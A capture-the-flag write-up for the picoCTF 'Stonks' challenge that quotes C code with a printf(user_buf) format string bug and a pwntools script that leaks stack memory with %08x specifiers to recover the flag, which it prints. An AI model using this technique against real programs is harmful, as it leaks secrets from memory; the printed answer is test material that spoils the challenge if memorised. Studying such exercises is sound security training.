Stonks

There is Format String Vulnerability in printf(user_buf) of int buy_stonks(Portfolio *p) function.
Flag is in api file and it's value is stored in the api_buf variable.

Excerpted in part from vuln.c:

int buy_stonks(Portfolio *p) {
        // (snip)
        if (!p) {
                return 1;
        }
        char api_buf[FLAG_BUFFER];
        FILE *f = fopen("api","r");
        if (!f) {
                printf("Flag file not found. Contact an admin.\n");
                exit(1);
        }
        fgets(api_buf, FLAG_BUFFER, f);

        // (snip)

        char *user_buf = malloc(300 + 1);
        printf("What is your API token?\n");
        scanf("%300s", user_buf);
        printf("Buying stonks with token:\n");
        printf(user_buf);

# solver-stonks.py
from pwn import *

io = remote(host="mercury.picoctf.net", port=33411)

io.recv()
io.sendline(b"1")
io.sendlineafter(b"What is your API token?", b",".join([b"%08x" for _ in range(100)]))

io.recvuntil(b"Buying stonks with token:\n")

resp = io.recvline()
resp = resp.decode().strip().split(",")

info(b"".join([binascii.unhexlify(x)[::-1] for x in resp if x != ""]))

root@kali:~/Downloads# python3 solver-stonks.py
[+] Opening connection to mercury.picoctf.net on port 33411: Done
/usr/local/lib/python3.11/dist-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] ³    \x00°\x0Ã\x0î÷ÿÿÿÿ\x00\x00\x00`    \x10qï÷Çî÷\x00\x00\x00\x00¡    \x00\x00\x00p³    ³    picoCTF{I_l05t_4ll_my_m0n3y_a24c14a6}\x00ÞÿøJò÷@tï÷\x00û8Á\x00\x00\x00\x00\x00\x00\x00élØ÷Àï÷Àî÷\x00î÷ØÐÞÿv×÷Àî÷Ê\x0äÐÞÿ\x00\x00\x00\x00    ¿ð÷\x00°\x0\x00î÷ î÷\x18ÑÞÿP
    ñ÷¨î÷\x00û8Á\x00î÷\x00°\x0\x18ÑÞÿ\x0`    \x04ÑÞÿ\x18ÑÞÿé\x0üî÷\x00\x00\x00\x00ÌÑÞÿÄÑÞÿ\x00\x00\x00
[*] Closed connection to mercury.picoctf.net port 33411

Flag: picoCTF{I_l05t_4ll_my_m0n3y_a24c14a6}